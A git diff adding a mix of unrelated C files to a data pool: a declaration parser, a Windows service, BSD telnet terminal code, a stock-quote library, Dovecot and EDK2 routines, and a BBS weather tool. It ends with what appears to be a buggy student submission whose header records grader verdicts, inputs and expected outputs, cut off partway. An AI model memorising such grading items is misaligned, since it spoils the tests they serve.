( ((type = nexttoken()) == PARENS) || (type == BRACKETS)) + sprintf(temp, "(*%s)", out); + else + sprintf(temp, "*%s", out); + strcpy(out, temp); + } else if (type == NAME) { + sprintf(temp, "%s %s", token, out); + strcpy(out, temp); + } else + error = 1; + } + if (error) { + error = 0; + printf(" /!/ invalid input at %s\n", token); + } else if (type == '\n'){ + printf("declaration %i: %s\n", ++count, out); + } + out[0] = '\0'; + } + + printf("\n\nDone.\n"); + return 0; +} + +/* return next token */ +int gettoken(void) +{ + if (gottoken) { /* token from the last lookup */ + gottoken = 0; + return tokentype; + } + + int c, getch(void); + void ungetch(int); + int skipspace(); + char *p = token; + c = skipspace(); + if (c != '\n') /* deal with empty lines */ + emptyLine = 0; + if (c == '(') { + c = skipspace(); /* to deal with ( ) */ + if (c == ')') { + strcpy(token, "()"); + return tokentype = PARENS; + } else { + ungetch(c); + return tokentype = '('; + } + } else if (c == '[') { + for (*p++ = c; (*p = getch()) != ']'; ) + + /* line break || possible SEGV */ + if ((*p == '\n') || (! *++p)) { + merror("expected ']'"); + break; + } + *++p = '\0'; + return tokentype = BRACKETS; + } else if (isalpha(c)) { + for (*p++ = c; isalnum(c = getch()); ) + *p++ = c; + *p = '\0'; + ungetch(c); + return tokentype = NAME; + } else + + return tokentype = c; +} + +#define BUFSIZE 100 +char buf[BUFSIZE]; /* buffer for ungetch */ +int bufp = 0; /* next free position in buf */ + + +/* get a (possibly pushed-back) character */ +int getch(void) +{ + return (bufp > 0) ? buf[--bufp] : getchar(); +} + +/* push character back on input */ +void ungetch(int c) +{ + if (c == EOF) + return; + + if (bufp >= BUFSIZE) + printf("ungetch: too many characters\n"); + else + buf[bufp++] = c; +} + +/* get one more token (lookahead) */ +int nexttoken(void) +{ + int type; + gottoken = 1; + return type = gettoken(); +} + +/* error handler */ +void merror(char *err) +{ + printf(" /!/ error: %s\n", err); + error = 1; +} + +/* skip spaces, tabs and empty lines */ +int skipspace() +{ + int c; + while ((c = getch()) == ' ' || c == '\t' || ((c == '\n') && (emptyLine)) ) + ; + if (c == '\n') /* the end of a non-empty line */ + emptyLine = 1; /* start the new line assuming empty */ + return c; +} diff --git a/pool/shard011/C/0141845_service.c b/pool/shard011/C/0141845_service.c new file mode 100644 index 0000000000000000000000000000000000000000..8a750affa53a3f74fcdab5f6372d814dcd2dc66c --- /dev/null +++ b/pool/shard011/C/0141845_service.c @@ -0,0 +1,210 @@ +/****************************************************** + * + * Service code adapted from MSDN article + * + *******************************************************/ + +#include "stdafx.h" +#include "watcher.h" + +// globals for the service +#define SVCNAME L"RedisWatchSvc" +const wchar_t * SvcName = SVCNAME; + +SERVICE_STATUS gSvcStatus; +SERVICE_STATUS_HANDLE gSvcStatusHandle; +HANDLE ghSvcStopEvent = NULL; + +// local methods for running the service +VOID WINAPI SvcCtrlHandler( DWORD ); +VOID WINAPI SvcMain( DWORD, LPTSTR * ); + +VOID ReportSvcStatus( DWORD, DWORD, DWORD ); +VOID SvcInit( DWORD, LPTSTR * ); + +// The set of services +SERVICE_TABLE_ENTRY DispatchTable[] = +{ + { SVCNAME, (LPSERVICE_MAIN_FUNCTION) SvcMain }, + { NULL, NULL } +}; + + +// +// Purpose: +// Start running the service +// +// Parameters: +// None. +// +// Return value: +// None. +// +void SvcStart() +{ + // This call returns when the service has stopped. + // The process should simply terminate when the call returns. + StartServiceCtrlDispatcher(DispatchTable); +} + +// +// Purpose: +// Entry point for the service +// +// Parameters: +// dwArgc - Number of arguments in the lpszArgv array +// lpszArgv - Array of strings. The first string is the name of +// the service and subsequent strings are passed by the process +// that called the StartService function to start the service. +// +// Return value: +// None. +// +VOID WINAPI SvcMain(DWORD dwArgc, LPTSTR *lpszArgv) +{ + // Register the handler function for the service + gSvcStatusHandle = RegisterServiceCtrlHandler( + SvcName, + SvcCtrlHandler); + + if (!gSvcStatusHandle) + { + return; + } + + // These SERVICE_STATUS members remain as set here + gSvcStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; + gSvcStatus.dwServiceSpecificExitCode = 0; + + // Report initial status to the SCM + ReportSvcStatus(SERVICE_START_PENDING, NO_ERROR, 3000); + + // Perform service-specific initialization and work. + SvcInit(dwArgc, lpszArgv); +} + +// +// Purpose: +// The service code +// +// Parameters: +// dwArgc - Number of arguments in the lpszArgv array +// lpszArgv - Array of strings. The first string is the name of +// the service and subsequent strings are passed by the process +// that called the StartService function to start the service. +// +// Return value: +// None +// +VOID SvcInit(DWORD dwArgc, LPTSTR *lpszArgv) +{ + wchar_t * path = NULL; + + // Create an event. The control handler function, SvcCtrlHandler, + // signals this event when it receives the stop control code. + ghSvcStopEvent = CreateEvent( + NULL, // default security attributes + TRUE, // manual reset event + FALSE, // not signaled + NULL); // no name + + if (ghSvcStopEvent == NULL) + { + ReportSvcStatus(SERVICE_STOPPED, NO_ERROR, 0); + return; + } + + // Report running status when initialization is complete. + ReportSvcStatus(SERVICE_RUNNING, NO_ERROR, 0); + + // Start redis watcher + if (GetModulePath(&path)) + { + if (WatcherStart(path)) + { + // Wait for signal to stop the service. + WaitForSingleObject(ghSvcStopEvent, INFINITE); + } + WatcherStop(); + } + + ReportSvcStatus(SERVICE_STOPPED, NO_ERROR, 0); + + return; +} + +// +// Purpose: +// Sets the current service status and reports it to the SCM. +// +// Parameters: +// dwCurrentState - The current state (see SERVICE_STATUS) +// dwWin32ExitCode - The system error code +// dwWaitHint - Estimated time for pending operation, +// in milliseconds +// +// Return value: +// None +// +VOID ReportSvcStatus(DWORD dwCurrentState, + DWORD dwWin32ExitCode, + DWORD dwWaitHint) +{ + static DWORD dwCheckPoint = 1; + + // Fill in the SERVICE_STATUS structure. + + gSvcStatus.dwCurrentState = dwCurrentState; + gSvcStatus.dwWin32ExitCode = dwWin32ExitCode; + gSvcStatus.dwWaitHint = dwWaitHint; + + if (dwCurrentState == SERVICE_START_PENDING) + gSvcStatus.dwControlsAccepted = 0; + else + gSvcStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; + + if ( (dwCurrentState == SERVICE_RUNNING) || + (dwCurrentState == SERVICE_STOPPED) ) + gSvcStatus.dwCheckPoint = 0; + else + gSvcStatus.dwCheckPoint = dwCheckPoint++; + + // Report the status of the service to the SCM. + SetServiceStatus(gSvcStatusHandle, &gSvcStatus); +} + +// +// Purpose: +// Called by SCM whenever a control code is sent to the service +// using the ControlService function. +// +// Parameters: +// dwCtrl - control code +// +// Return value: +// None +// +VOID WINAPI SvcCtrlHandler(DWORD dwCtrl) +{ + // Handle the requested control code. + + switch(dwCtrl) + { + case SERVICE_CONTROL_STOP: + ReportSvcStatus(SERVICE_STOP_PENDING, NO_ERROR, 0); + + // Signal the service to stop. + + SetEvent(ghSvcStopEvent); + ReportSvcStatus(gSvcStatus.dwCurrentState, NO_ERROR, 0); + + return; + + case SERVICE_CONTROL_INTERROGATE: + break; + + default: + break; + } +} + diff --git a/pool/shard011/C/0141846_terminal.c b/pool/shard011/C/0141846_terminal.c new file mode 100644 index 0000000000000000000000000000000000000000..f9f001711e3717d15a609f446a74691befda37da --- /dev/null +++ b/pool/shard011/C/0141846_terminal.c @@ -0,0 +1,221 @@ +/* + * Copyright (c) 1988, 1990, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "telnet_locl.h" + +RCSID("$Id$"); + +Ring ttyoring, ttyiring; +unsigned char ttyobuf[2*BUFSIZ], ttyibuf[BUFSIZ]; + +int termdata; /* Debugging flag */ + +# ifndef VDISCARD +cc_t termFlushChar; +# endif +# ifndef VLNEXT +cc_t termLiteralNextChar; +# endif +# ifndef VSUSP +cc_t termSuspChar; +# endif +# ifndef VWERASE +cc_t termWerasChar; +# endif +# ifndef VREPRINT +cc_t termRprntChar; +# endif +# ifndef VSTART +cc_t termStartChar; +# endif +# ifndef VSTOP +cc_t termStopChar; +# endif +# ifndef VEOL +cc_t termForw1Char; +# endif +# ifndef VEOL2 +cc_t termForw2Char; +# endif +# ifndef VSTATUS +cc_t termAytChar; +# endif + +/* + * initialize the terminal data structures. + */ + +void +init_terminal(void) +{ + if (ring_init(&ttyoring, ttyobuf, sizeof ttyobuf) != 1) { + exit(1); + } + if (ring_init(&ttyiring, ttyibuf, sizeof ttyibuf) != 1) { + exit(1); + } + autoflush = TerminalAutoFlush(); +} + + +/* + * Send as much data as possible to the terminal. + * + * Return value: + * -1: No useful work done, data waiting to go out. + * 0: No data was waiting, so nothing was done. + * 1: All waiting data was written out. + * n: All data - n was written out. + */ + + +int +ttyflush(int drop) +{ + int n, n0, n1; + + n0 = ring_full_count(&ttyoring); + if ((n1 = n = ring_full_consecutive(&ttyoring)) > 0) { + if (drop) { + TerminalFlushOutput(); + /* we leave 'n' alone! */ + } else { + n = TerminalWrite((char *)ttyoring.consume, n); + } + } + if (n > 0) { + if (termdata && n) { + Dump('>', ttyoring.consume, n); + } + /* + * If we wrote everything, and the full count is + * larger than what we wrote, then write the + * rest of the buffer. + */ + if (n1 == n && n0 > n) { + n1 = n0 - n; + if (!drop) + n1 = TerminalWrite((char *)ttyoring.bottom, n1); + if (n1 > 0) + n += n1; + } + ring_consumed(&ttyoring, n); + } + if (n < 0) + return -1; + if (n == n0) { + if (n0) + return -1; + return 0; + } + return n0 - n + 1; +} + + +/* + * These routines decides on what the mode should be (based on the values + * of various global variables). + */ + + +int +getconnmode(void) +{ + int mode = 0; + + if (my_want_state_is_dont(TELOPT_ECHO)) + mode |= MODE_ECHO; + + if (localflow) + mode |= MODE_FLOW; + + if ((eight & 1) || my_want_state_is_will(TELOPT_BINARY)) + mode |= MODE_INBIN; + + if (eight & 2) + mode |= MODE_OUT8; + if (his_want_state_is_will(TELOPT_BINARY)) + mode |= MODE_OUTBIN; + +#ifdef KLUDGELINEMODE + if (kludgelinemode) { + if (my_want_state_is_dont(TELOPT_SGA)) { + mode |= (MODE_TRAPSIG|MODE_EDIT); + if (dontlecho && (clocks.echotoggle > clocks.modenegotiated)) { + mode &= ~MODE_ECHO; + } + } + return(mode); + } +#endif + if (my_want_state_is_will(TELOPT_LINEMODE)) + mode |= linemode; + return(mode); +} + + void +setconnmode(force) + int force; +{ +#ifdef ENCRYPTION + static int enc_passwd = 0; +#endif + int newmode; + + newmode = getconnmode()|(force?MODE_FORCE:0); + + TerminalNewMode(newmode); + +#ifdef ENCRYPTION + if ((newmode & (MODE_ECHO|MODE_EDIT)) == MODE_EDIT) { + if (my_want_state_is_will(TELOPT_ENCRYPT) + && (enc_passwd == 0) && !encrypt_output) { + encrypt_request_start(0, 0); + enc_passwd = 1; + } + } else { + if (enc_passwd) { + encrypt_request_end(); + enc_passwd = 0; + } + } +#endif + +} + + + void +setcommandmode() +{ + TerminalNewMode(-1); +} diff --git a/pool/shard011/C/0141847_stocks.c b/pool/shard011/C/0141847_stocks.c new file mode 100644 index 0000000000000000000000000000000000000000..ae73814ea1684d8130d75ca95c993377e6e31c87 --- /dev/null +++ b/pool/shard011/C/0141847_stocks.c @@ -0,0 +1,348 @@ +/* libstocks - Library to get current stock quotes from Yahoo Finance + * + * Copyright (C) 2000 Eric Laeuffer + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Library General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Library General Public License for more details. + * + * You should have received a copy of the GNU Library General Public + * License along with this library; if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + */ + +#define __STOCKS_C__ + +#include +#include +#include +#include + +#ifdef __WINDOWS__ +#include +#endif + +#include "http.h" +#include "csv.h" + +#include "stocks.h" + +/* +s = symbol +n = name +l1 = last trade +d1 = date +t1 = time +c1 = variation +o = open +h = higher price +g = lower price +v = volume +*/ + +const char yahoo_us_stocks_server[]="download.finance.yahoo.com"; +const char yahoo_eu_stocks_server[]="download.finance.yahoo.com"; +//const char yahoo_eu_stocks_server[]="fr.finance.yahoo.com"; + +const char yahoo_url_beg[]="/d/quotes.csv?s="; +const char yahoo_url_end[]="&f=snl1d1t1c1ohgv&e=.csv"; + +typedef enum { + YAHOO_EUROPE, + YAHOO_US +} yahoo_source; + +#define YAHOO_US_EXT_NB 11 +const char *yahoo_us_ext[YAHOO_US_EXT_NB] = +{ + ".US", /* United States */ + ".TO", /* Canada */ + ".M", /* Canada */ + ".V", /* Canada */ + ".AL", /* Canada */ + ".MX", /* Mexico */ + ".SA", /* Brasil */ + ".BA", /* Argentina */ + ".CR", /* Venezuela */ + ".SN", /* Chili */ + ".AX" /* Australia */ +}; + +/*****************************************************************************/ +/* Finds, according to the symbol extension, the http source of the quotes. */ +/* Actually just finance.yahoo.com and fr.finance.yahoo.com are supported. */ +/* The function returns the country source (US or EUROPE). */ +/*****************************************************************************/ +yahoo_source find_yahoo_source(char *symbol) +{ + char *ptr; + int i; + int test; + + ptr = strrchr(symbol, '.'); + + /* If no extension we suppose it is a US stock */ + if (!ptr) return YAHOO_US; + + /* extension is found */ + + /* Test if it is canadian stock */ + for (i=0; iNextStock = stocks_getted; + stocks_getted->PreviousStock = last_stock; + + } + else + (stocks_tmp = stocks_getted); + } + + *stock_datas = stocks_tmp; + + return(0); +} diff --git a/pool/shard011/C/0141848_doveadm-connection.c b/pool/shard011/C/0141848_doveadm-connection.c new file mode 100644 index 0000000000000000000000000000000000000000..3b332f9677b28f565ba22967bca19d73812febae --- /dev/null +++ b/pool/shard011/C/0141848_doveadm-connection.c @@ -0,0 +1,88 @@ +/* Copyright (c) 2013-2014 Dovecot authors, see the included COPYING file */ + +#include "lib.h" +#include "ostream.h" +#include "str.h" +#include "strescape.h" +#include "master-service.h" +#include "log-error-buffer.h" +#include "doveadm-connection.h" + +#include + +struct doveadm_connection { + struct log_error_buffer *errorbuf; + + int fd; + struct ostream *output; +}; + +static void doveadm_connection_destroy(struct doveadm_connection **_conn); + +static int doveadm_connection_send_errors(struct doveadm_connection *conn) +{ + struct log_error_buffer_iter *iter; + const struct log_error *error; + string_t *str = t_str_new(256); + int ret = 0; + + iter = log_error_buffer_iter_init(conn->errorbuf); + while ((error = log_error_buffer_iter_next(iter)) != NULL) { + str_truncate(str, 0); + str_printfa(str, "%s\t%ld\t", + failure_log_type_names[error->type], + (long)error->timestamp); + str_append_tabescaped(str, error->prefix); + str_append_c(str, '\t'); + str_append_tabescaped(str, error->text); + str_append_c(str, '\n'); + if (o_stream_send(conn->output, + str_data(str), str_len(str)) < 0) { + ret = -1; + break; + } + } + log_error_buffer_iter_deinit(&iter); + return ret; +} + +static int doveadm_output(struct doveadm_connection *conn) +{ + int ret; + + if ((ret = o_stream_flush(conn->output)) != 0) { + /* error / finished */ + doveadm_connection_destroy(&conn); + } + return 1; +} + +void doveadm_connection_create(struct log_error_buffer *errorbuf, int fd) +{ + struct doveadm_connection *conn; + + conn = i_new(struct doveadm_connection, 1); + conn->errorbuf = errorbuf; + conn->fd = fd; + conn->output = o_stream_create_fd(conn->fd, (size_t)-1, FALSE); + if (doveadm_connection_send_errors(conn) < 0) + doveadm_connection_destroy(&conn); + else { + o_stream_set_flush_callback(conn->output, doveadm_output, conn); + o_stream_set_flush_pending(conn->output, TRUE); + } +} + +static void doveadm_connection_destroy(struct doveadm_connection **_conn) +{ + struct doveadm_connection *conn = *_conn; + + *_conn = NULL; + + o_stream_destroy(&conn->output); + if (close(conn->fd) < 0) + i_error("close(doveadm connection) failed: %m"); + i_free(conn); + + master_service_client_connection_destroyed(master_service); +} diff --git a/pool/shard011/C/0141849_tianqi.c b/pool/shard011/C/0141849_tianqi.c new file mode 100644 index 0000000000000000000000000000000000000000..ad31302f05fe967ff8753a2c81a5dbb812a7a5f4 --- /dev/null +++ b/pool/shard011/C/0141849_tianqi.c @@ -0,0 +1,71 @@ +//tianqi.c +//usage: lynx http://serve.cei.gov.cn/sl/sl01/l01index.htm -dump|/home/bbs/bin/tianqi +#include +#include +#include "bbs.h" + +int +main() +{ + char buf0[100], buf1[500] = "", buf2[500] = + "\033[1;44m[±±¾©]", *ptr, *ptr2; + int i = 0, len = 6; + FILE *fp0, *fp1; + + while (fgets(buf0, sizeof (buf0), stdin) != NULL) + if (strstr(buf0, "¡æ") != NULL) + strcat(buf1, buf0); + while ((ptr = strstr(buf1, "½ñÌì")) != NULL) { + ptr[0] = ' '; + ptr[1] = ' '; + ptr[2] = ' '; + ptr[3] = ' '; + } + ptr = strtok(buf1, " \r\n\t"); + while (ptr != NULL) { + if ((ptr2 = strstr(ptr, "·ç")) == NULL) { + sprintf(buf0, "\033[%sm%s", i ? "32" : "33", ptr); + len += strlen(ptr); + } else { + sprintf(buf0, "\033[%sm%s", i ? "32" : "33", ptr2 + 2); + len += strlen(ptr2 + 2); + } + i = !i; + strcat(buf2, buf0); + if (len >= 79) + break; + ptr = strtok(NULL, " \r\n\t"); + } + buf2[strlen(buf2) - len + 79] = '\0'; + if (len < 79) { + i = 79 - len; + ptr = buf2 + strlen(buf2); + for (i = 0; i < 79 - len; i++) { + *(ptr + i) = ' '; + } + *(ptr + i) = '\0'; + } + strcat(buf2, "\033[m"); + //printf("\n%s\n", buf2); + fp0 = fopen(MY_BBS_HOME "/etc/endline", "r"); + if (fp0 == NULL) + return -1; + fp1 = fopen(MY_BBS_HOME "/etc/endline.new", "w"); + if (fp1 == NULL) + return -1; + i = 0; + while (fgets(buf1, sizeof (buf1), fp0) != NULL) { + if (strncmp + (buf1, "\033[1;44m[±±¾©]", strlen("\033[1;44m[±±¾©]")) == 0) { + fprintf(fp1, "%s\n", buf2); + i = 1; + } else + fprintf(fp1, "%s", buf1); + } + if (!i) + fprintf(fp1, "%s\n", buf2); + fclose(fp0); + fclose(fp1); + rename(MY_BBS_HOME "/etc/endline.new", MY_BBS_HOME "/etc/endline"); + return 0; +} diff --git a/pool/shard011/C/0141850_BdsConnect.c b/pool/shard011/C/0141850_BdsConnect.c new file mode 100644 index 0000000000000000000000000000000000000000..0a2764cba23bb17939bd07e6eb211e9c9d40714d --- /dev/null +++ b/pool/shard011/C/0141850_BdsConnect.c @@ -0,0 +1,419 @@ +/** @file + BDS Lib functions which relate with connect the device + +Copyright (c) 2004 - 2008, Intel Corporation. All rights reserved.
+This program and the accompanying materials +are licensed and made available under the terms and conditions of the BSD License +which accompanies this distribution. The full text of the license may be found at +http://opensource.org/licenses/bsd-license.php + +THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, +WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. + +**/ + +#include "InternalBdsLib.h" + + +/** + This function will connect all the system driver to controller + first, and then special connect the default console, this make + sure all the system controller available and the platform default + console connected. + +**/ +VOID +EFIAPI +BdsLibConnectAll ( + VOID + ) +{ + // + // Connect the platform console first + // + BdsLibConnectAllDefaultConsoles (); + + // + // Generic way to connect all the drivers + // + BdsLibConnectAllDriversToAllControllers (); + + // + // Here we have the assumption that we have already had + // platform default console + // + BdsLibConnectAllDefaultConsoles (); +} + + +/** + This function will connect all the system drivers to all controllers + first, and then connect all the console devices the system current + have. After this we should get all the device work and console available + if the system have console device. + +**/ +VOID +BdsLibGenericConnectAll ( + VOID + ) +{ + // + // Most generic way to connect all the drivers + // + BdsLibConnectAllDriversToAllControllers (); + BdsLibConnectAllConsoles (); +} + + +/** + This function will create all handles associate with every device + path node. If the handle associate with one device path node can not + be created success, then still give one chance to do the dispatch, + which load the missing drivers if possible. + + @param DevicePathToConnect The device path which will be connected, it can be + a multi-instance device path + + @retval EFI_SUCCESS All handles associate with every device path node + have been created + @retval EFI_OUT_OF_RESOURCES There is no resource to create new handles + @retval EFI_NOT_FOUND Create the handle associate with one device path + node failed + +**/ +EFI_STATUS +EFIAPI +BdsLibConnectDevicePath ( + IN EFI_DEVICE_PATH_PROTOCOL *DevicePathToConnect + ) +{ + EFI_STATUS Status; + EFI_DEVICE_PATH_PROTOCOL *DevicePath; + EFI_DEVICE_PATH_PROTOCOL *CopyOfDevicePath; + EFI_DEVICE_PATH_PROTOCOL *Instance; + EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath; + EFI_DEVICE_PATH_PROTOCOL *Next; + EFI_HANDLE Handle; + EFI_HANDLE PreviousHandle; + UINTN Size; + + if (DevicePathToConnect == NULL) { + return EFI_SUCCESS; + } + + DevicePath = DuplicateDevicePath (DevicePathToConnect); + if (DevicePath == NULL) { + return EFI_OUT_OF_RESOURCES; + } + CopyOfDevicePath = DevicePath; + + do { + // + // The outer loop handles multi instance device paths. + // Only console variables contain multiple instance device paths. + // + // After this call DevicePath points to the next Instance + // + Instance = GetNextDevicePathInstance (&DevicePath, &Size); + if (Instance == NULL) { + FreePool (CopyOfDevicePath); + return EFI_OUT_OF_RESOURCES; + } + + Next = Instance; + while (!IsDevicePathEndType (Next)) { + Next = NextDevicePathNode (Next); + } + + SetDevicePathEndNode (Next); + + // + // Start the real work of connect with RemainingDevicePath + // + PreviousHandle = NULL; + do { + // + // Find the handle that best matches the Device Path. If it is only a + // partial match the remaining part of the device path is returned in + // RemainingDevicePath. + // + RemainingDevicePath = Instance; + Status = gBS->LocateDevicePath (&gEfiDevicePathProtocolGuid, &RemainingDevicePath, &Handle); + + if (!EFI_ERROR (Status)) { + if (Handle == PreviousHandle) { + // + // If no forward progress is made try invoking the Dispatcher. + // A new FV may have been added to the system an new drivers + // may now be found. + // Status == EFI_SUCCESS means a driver was dispatched + // Status == EFI_NOT_FOUND means no new drivers were dispatched + // + Status = gDS->Dispatch (); + } + + if (!EFI_ERROR (Status)) { + PreviousHandle = Handle; + // + // Connect all drivers that apply to Handle and RemainingDevicePath, + // the Recursive flag is FALSE so only one level will be expanded. + // + // Do not check the connect status here, if the connect controller fail, + // then still give the chance to do dispatch, because partial + // RemainingDevicepath may be in the new FV + // + // 1. If the connect fail, RemainingDevicepath and handle will not + // change, so next time will do the dispatch, then dispatch's status + // will take effect + // 2. If the connect success, the RemainingDevicepath and handle will + // change, then avoid the dispatch, we have chance to continue the + // next connection + // + gBS->ConnectController (Handle, NULL, RemainingDevicePath, FALSE); + } + } + // + // Loop until RemainingDevicePath is an empty device path + // + } while (!EFI_ERROR (Status) && !IsDevicePathEnd (RemainingDevicePath)); + + } while (DevicePath != NULL); + + if (CopyOfDevicePath != NULL) { + FreePool (CopyOfDevicePath); + } + // + // All handle with DevicePath exists in the handle database + // + return Status; +} + + +/** + This function will connect all current system handles recursively. + + gBS->ConnectController() service is invoked for each handle exist in system handler buffer. + If the handle is bus type handler, all childrens also will be connected recursively + by gBS->ConnectController(). + + @retval EFI_SUCCESS All handles and it's child handle have been connected + @retval EFI_STATUS Error status returned by of gBS->LocateHandleBuffer(). + +**/ +EFI_STATUS +EFIAPI +BdsLibConnectAllEfi ( + VOID + ) +{ + EFI_STATUS Status; + UINTN HandleCount; + EFI_HANDLE *HandleBuffer; + UINTN Index; + + Status = gBS->LocateHandleBuffer ( + AllHandles, + NULL, + NULL, + &HandleCount, + &HandleBuffer + ); + if (EFI_ERROR (Status)) { + return Status; + } + + for (Index = 0; Index < HandleCount; Index++) { + Status = gBS->ConnectController (HandleBuffer[Index], NULL, NULL, TRUE); + } + + if (HandleBuffer != NULL) { + FreePool (HandleBuffer); + } + + return EFI_SUCCESS; +} + +/** + This function will disconnect all current system handles. + + gBS->DisconnectController() is invoked for each handle exists in system handle buffer. + If handle is a bus type handle, all childrens also are disconnected recursively by + gBS->DisconnectController(). + + @retval EFI_SUCCESS All handles have been disconnected + @retval EFI_STATUS Error status returned by of gBS->LocateHandleBuffer(). + +**/ +EFI_STATUS +EFIAPI +BdsLibDisconnectAllEfi ( + VOID + ) +{ + EFI_STATUS Status; + UINTN HandleCount; + EFI_HANDLE *HandleBuffer; + UINTN Index; + + // + // Disconnect all + // + Status = gBS->LocateHandleBuffer ( + AllHandles, + NULL, + NULL, + &HandleCount, + &HandleBuffer + ); + if (EFI_ERROR (Status)) { + return Status; + } + + for (Index = 0; Index < HandleCount; Index++) { + Status = gBS->DisconnectController (HandleBuffer[Index], NULL, NULL); + } + + if (HandleBuffer != NULL) { + FreePool (HandleBuffer); + } + + return EFI_SUCCESS; +} + + +/** + Connects all drivers to all controllers. + This function make sure all the current system driver will manage + the correspoinding controllers if have. And at the same time, make + sure all the system controllers have driver to manage it if have. + +**/ +VOID +EFIAPI +BdsLibConnectAllDriversToAllControllers ( + VOID + ) +{ + EFI_STATUS Status; + + do { + // + // Connect All EFI 1.10 drivers following EFI 1.10 algorithm + // + BdsLibConnectAllEfi (); + + // + // Check to see if it's possible to dispatch an more DXE drivers. + // The BdsLibConnectAllEfi () may have made new DXE drivers show up. + // If anything is Dispatched Status == EFI_SUCCESS and we will try + // the connect again. + // + Status = gDS->Dispatch (); + + } while (!EFI_ERROR (Status)); + +} + + +/** + Connect the specific Usb device which match the short form device path, + and whose bus is determined by Host Controller (Uhci or Ehci). + + @param HostControllerPI Uhci (0x00) or Ehci (0x20) or Both uhci and ehci + (0xFF) + @param RemainingDevicePath a short-form device path that starts with the first + element being a USB WWID or a USB Class device + path + + @return EFI_INVALID_PARAMETER RemainingDevicePath is NULL pointer. + RemainingDevicePath is not a USB device path. + Invalid HostControllerPI type. + @return EFI_SUCCESS Success to connect USB device + @return EFI_NOT_FOUND Fail to find handle for USB controller to connect. + +**/ +EFI_STATUS +EFIAPI +BdsLibConnectUsbDevByShortFormDP( + IN UINT8 HostControllerPI, + IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath + ) +{ + EFI_STATUS Status; + EFI_HANDLE *HandleArray; + UINTN HandleArrayCount; + UINTN Index; + EFI_PCI_IO_PROTOCOL *PciIo; + UINT8 Class[3]; + BOOLEAN AtLeastOneConnected; + + // + // Check the passed in parameters + // + if (RemainingDevicePath == NULL) { + return EFI_INVALID_PARAMETER; + } + + if ((DevicePathType (RemainingDevicePath) != MESSAGING_DEVICE_PATH) || + ((DevicePathSubType (RemainingDevicePath) != MSG_USB_CLASS_DP) + && (DevicePathSubType (RemainingDevicePath) != MSG_USB_WWID_DP) + )) { + return EFI_INVALID_PARAMETER; + } + + if (HostControllerPI != 0xFF && + HostControllerPI != 0x00 && + HostControllerPI != 0x20) { + return EFI_INVALID_PARAMETER; + } + + // + // Find the usb host controller firstly, then connect with the remaining device path + // + AtLeastOneConnected = FALSE; + Status = gBS->LocateHandleBuffer ( + ByProtocol, + &gEfiPciIoProtocolGuid, + NULL, + &HandleArrayCount, + &HandleArray + ); + if (!EFI_ERROR (Status)) { + for (Index = 0; Index < HandleArrayCount; Index++) { + Status = gBS->HandleProtocol ( + HandleArray[Index], + &gEfiPciIoProtocolGuid, + (VOID **)&PciIo + ); + if (!EFI_ERROR (Status)) { + // + // Check whether the Pci device is the wanted usb host controller + // + Status = PciIo->Pci.Read (PciIo, EfiPciIoWidthUint8, 0x09, 3, &Class); + if (!EFI_ERROR (Status)) { + if ((PCI_CLASS_SERIAL == Class[2]) && + (PCI_CLASS_SERIAL_USB == Class[1])) { + if (HostControllerPI == Class[0] || HostControllerPI == 0xFF) { + Status = gBS->ConnectController ( + HandleArray[Index], + NULL, + RemainingDevicePath, + FALSE + ); + if (!EFI_ERROR(Status)) { + AtLeastOneConnected = TRUE; + } + } + } + } + } + } + + if (AtLeastOneConnected) { + return EFI_SUCCESS; + } + } + + return EFI_NOT_FOUND; +} diff --git a/pool/shard011/C/0141851_300643_buggy.c b/pool/shard011/C/0141851_300643_buggy.c new file mode 100644 index 0000000000000000000000000000000000000000..03af7a81b7e6b6dde6750e77fdbae66d8bec28c5 --- /dev/null +++ b/pool/shard011/C/0141851_300643_buggy.c @@ -0,0 +1,654 @@ +/*numPass=0, numTotal=5 +Verdict:WRONG_ANSWER, Visibility:1, Input:"3 1", ExpOutput:"1 +2 +3 +", Output:"1 +2 +3 +" +Verdict:WRONG_ANSWER, Visibility:1, Input:"4 2", ExpOutput:"1 2 +1 3 +1 4 +2 3 +2 4 +3 4 +", Output:"12 +13 +14 +23 +24 +34 +" +Verdict:WRONG_ANSWER, 